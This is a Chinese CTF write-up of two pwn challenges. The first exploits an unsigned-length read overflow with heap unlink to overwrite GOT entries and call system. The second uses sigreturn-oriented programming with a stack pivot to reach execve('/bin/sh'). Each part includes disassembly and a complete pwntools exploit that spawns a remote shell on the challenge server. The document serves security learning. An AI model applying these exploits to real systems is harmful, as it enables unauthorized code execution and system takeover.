house_of_cosmos
exp
rop_senior
一个比较巧的地方
exp

本周只做了 pwn，别的方向都不太会。pwn 的题比较少，也比较简单。

house_of_cosmos

漏洞点看了很久才看出来

```
_BYTE *__fastcall sub_40125F(__int64 a1, int a2)
{
  _BYTE *result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2 - 1; ++i )
  {
    if ( read(0, (void *)(i + a1), 1uLL) != 1 )
      exit(-1);
    if ( *(_BYTE *)(i + a1) == 10 )
      break;
  }
  result = (_BYTE *)(i + a1);
  *result = 0;
  return result;
}
```

读入函数这里的 `i` 是 `unsigned int`，所以当 `a2 <= 0` 时，就可以输入几乎无限的字符，轻松实现堆溢出。由于没有提供 `show` 的功能，像前两周那样通过 `Unsorted Bin` 来 leak 的方法就比较难了。但是既然可以堆溢出，又有指向堆块的指针，我们就可以朴素地用 `unlink` 来实现利用。

关于 `unlink`，我写过三篇 wp

- hitcon2014_stkof <= 这篇文章详细记录了 `unlink` 的利用原理
- 4-reehy-main-100
- zctf2016_note2

从做过的四道 `unlink` 题来看，都是一个套路。由于 `unlink` 能实现的效果是将一个指针指向其地址减三倍机器字长处。也就是

```
p = &p - 12 //32位
p = &p - 24 //64位
```

那么一般的方法就是修改储存了 `chunk` 指针的数组中的某个指针，修改这个数组，通过程序本身提供的修改功能，实现任意地址读写。

本题的做法就是先申请四个 chunk，第一个大小为 0（这样就可以实现堆溢出），第二个不能太小，要放的下一个 fake chunk，第三个和第四个好像都没什么要求。我为了省事第二三个就都申请为 0x200 了。第四个的目的是为了防止 top chunk 的前向合并。

申请完后对第一个 chunk 进行 `update`，这个时候进行堆溢出，在第二个 chunk 中构造 fake chunk，并修改第三个 chunk 的 `prev_size` 和 `size` 域。`delete` 掉第三个 chunk 后就会触发 `unlink`，就可以对

```
.bss:00000000004040C0 list            db    ? ;               ; DATA XREF: add+1D↑o
.bss:00000000004040C0                                         ; add+9E↑o ...
.bss:00000000004040C1                 db    ? ;
.bss:00000000004040C2                 db    ? ;
.bss:00000000004040C3                 db    ? ;
.bss:00000000004040C4                 db    ? ;
.bss:00000000004040C5                 db    ? ;
.bss:00000000004040C6                 db    ? ;
.bss:00000000004040C7                 db    ? ;
.bss:00000000004040C8 ; unsigned int size[12]
.bss:00000000004040C8 size            dd 0Ch dup(?)           ; DATA XREF: add+B5↑o
.bss:00000000004040C8                                         ; add+DF↑o ...
.bss:00000000004040F8                 db    ? ;
.bss:00000000004040F9                 db    ? ;
.bss:00000000004040FA                 db    ? ;
.bss:00000000004040FB                 db    ? ;
.bss:00000000004040FC                 db    ? ;
.bss:00000000004040FD                 db    ? ;
.bss:00000000004040FE                 db    ? ;
.bss:00000000004040FF                 db    ? ;
.bss:00000000004040FF _bss            ends
```

这一段内存完全修改了。

```
*((_QWORD *)&list + 2 * i) = malloc(v2);
size[4 * i] = v2;
```

由于 `list` 和 `size` 两个数组是这样寻址的，其结构如下

address	content
0x4040C0	list[0 * 2]
0x4040C4	
0x4040C8	size[0 * 4]
0x4040C12	null
0x4040C16	list[1 * 2]
0x4040C20	
0x4040C24	size[1 * 4]
0x4040C28	null

所以覆写的时候需要注意一下。然后我们覆盖的时候就把第一个指向 `free@got`，第二个和第三个都指向 `atoi@got`，然后对第一个 chunk 进行 `update`，修改为 `puts@plt`，把第二个 chunk `free` 掉，就实现了 leak，计算出 `system` 的地址，对第三个 chunk 进行修改，把 `system` 写进去，然后 `atoi` 就是 `system` 了，在原来输入数字的时候输个 `"/bin/sh\x00"` 就可以 getshell 了。

由于是比较久前学的了，本身 `unlink` 也是比较麻烦的，所以这道题还是花了不少时间。

exp

```python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'

#sh = process("./house_of_cosmos")
sh = remote("159.75.113.72",31404)
libc = ELF("./libc.so.6")
elf = ELF("./house_of_cosmos")

def add(size,payload):
    sh.sendlineafter("choice >> ",'1')
    sh.sendlineafter(">> ",str(size))
    sh.sendafter(">> ",payload)

def delete(index):
    sh.sendlineafter("choice >> ",'2')
    sh.sendlineafter(">> ",str(index))

def update(index,payload):
    sh.sendlineafter("choice >> ",'4')
    sh.sendlineafter(">> ",str(index))
    sh.sendafter(">> ",payload)

add(0,'\n')#index:0
add(0x200,'index:1\n')
add(0x200,'index:2\n')
add(16,'\n')#index:3


ptr = 0x4040C0 + 2 * 1 * 8

payload = p64(0) * 2 + p64(0) + p64(0x211)
fake_chunk = p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20)
payload += fake_chunk.ljust(0x200,'\x00')
payload += p64(0x200) + p64(0x210) + '\n'
update(0,payload)
#gdb.attach(proc.pidof(sh)[0])
delete(2)

payload = 'b' * 0x8 + p64(elf.got['free']) + p64(0) + p64(elf.got['atoi']) +
p64(0) + p64(elf.got['atoi']) + p64(0) + '\n'
update(1,payload)

update(0,p64(elf.symbols['puts'])[:-1] + '\n')

delete(1)
atoi_addr = u64(sh.recvuntil("\n",drop = True).ljust(8,'\x00'))
system_addr = libc.sym['system'] + (atoi_addr - libc.sym['atoi'])

update(2,p64(system_addr) + '\n')

sh.sendlineafter(">> ",'/bin/sh\x00')
```

```
sh.interactive()
```

rop_senior

上周考了 `ld-resolve`，当时就猜这周会考个 `srop`。

`srop` 是一个很强大的利用方式。其实我觉得 `Sigreturn Oriented Programming` 不是很贴切，`Sigreturn Register Oriented Programming` 更符合利用的本质。同时我还认为，从某种意义上，`srop` 和信号机制完全没有关系。当时在看 `CTF-WIKI` 时，一上来就是信号机制，着实令人感到有些迷惑。

我对 `srop` 的一个小总结：srop总结。简单的来说，`srop` 就是通过 sigreturn 这个系统调用，来对寄存器实现完全控制的一种利用方式，在总结中我也提到控制方式是通过伪造 sigframe。sigframe 这个结构体 pwntools 中也提供了生成模板，也就没必要去记结构体具体是什么结构了。

`srop` 有一道很经典的题就是 360 的 smallest。我对该题的 WP

然后这道题和 360 的 smallest 那道题目的思路其实是一毛一样的，而且还要简单不少，因为 smallest 并没有已知的可读写页，还要先构造 `write` leak 栈地址；但是这道题是有的，所以都不需要 leak 栈地址了，直接栈迁移就可以了。

一个比较巧的地方

```
.text:000000000040062A
.text:000000000040062A ; Attributes: bp-based frame
.text:000000000040062A
.text:000000000040062A                 public vuln
.text:000000000040062A vuln            proc near               ; CODE XREF: main+E↓p
.text:000000000040062A ; __unwind {
.text:000000000040062A                 push    rbp
.text:000000000040062B                 mov     rbp, rsp
.text:000000000040062E                 lea     rdi, s          ; "try your best"
.text:0000000000400635                 call    _puts
.text:000000000040063A                 xor     eax, eax
.text:000000000040063C                 mov     rsi, rsp        ; buf
.text:000000000040063F                 xor     rdi, rdi        ; fd
.text:0000000000400642                 mov     edx, 400h       ; count
.text:0000000000400647                 syscall                 ; LINUX - sys_read
.text:0000000000400649                 nop
.text:000000000040064A                 pop     rbp
.text:000000000040064B                 retn
.text:000000000040064B ; } // starts at 40062A
.text:000000000040064B vuln            endp
.text:000000000040064B
```

由于这里对进行了 `pop rbp`，所以要写入 8 个字节来跳过这里，然后 ret 的地址又是 8 个字节，这样就 16 个字节了，那完犊子了，64 位下 sigreturn 的系统调用号是 15。不幸的是我在这里卡了几分钟，错失一血。其实由于我们要返回的地址（`0x400647`）高位上都是 `\x00`，所以写七个字节就可以了，这样在 `sys_read` 结束后 `eax` 就是 15 了，就可以实现 sigreturn 了。

那么做法就是先在栈上布置好一个 sigframe，用 `'\x00'` 填充好下一步的返回地址。然后重新来一次，写 15 个字节，再 return 到 `syscall`，触发 sigreturn。通过之前布置好的 sigframe 实现栈迁移到地址已知的可读写页，并且在这里设置 `rax` 为 `read` 的系统调用号。这样我们就又有了一次 `read` 的机会，并且写入的地址是我们已知的，就可以把 `'/bin/sh'` 写到一个我们已知的地址上，之后就可以通过 `execve` 实现 getshell 了。

exp

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
```

```python
#sh = process("./rop_senior")
sh = remote("159.75.113.72",30405)
syscall_pop_ret = 0x400647
bss_base = 0x601400

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = bss_base
sigframe.rsp = bss_base
sigframe.rip = syscall_pop_ret

payload = 'b' * 8 + p64(0x40063A) + '\x00' * 16 + str(sigframe)

sh.sendlineafter("best\n",payload)

sleep(0.1)
sig_trig = 'b' * 8 + p64(syscall_pop_ret)[:-1]
sh.send(sig_trig)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rsp = bss_base
sigframe.rdx = 0
sigframe.rsi = 0
sigframe.rdi = bss_base + 0x200
sigframe.rip = syscall_pop_ret

payload = ('b' * 8 + p64(0x40063A) + '\x00' * 16 +
str(sigframe)).ljust(0x200,'\x00') + '/bin/sh\x00'

sleep(0.1)
sh.sendline(payload)

sleep(0.1)
sh.send(sig_trig)

sh.interactive()
```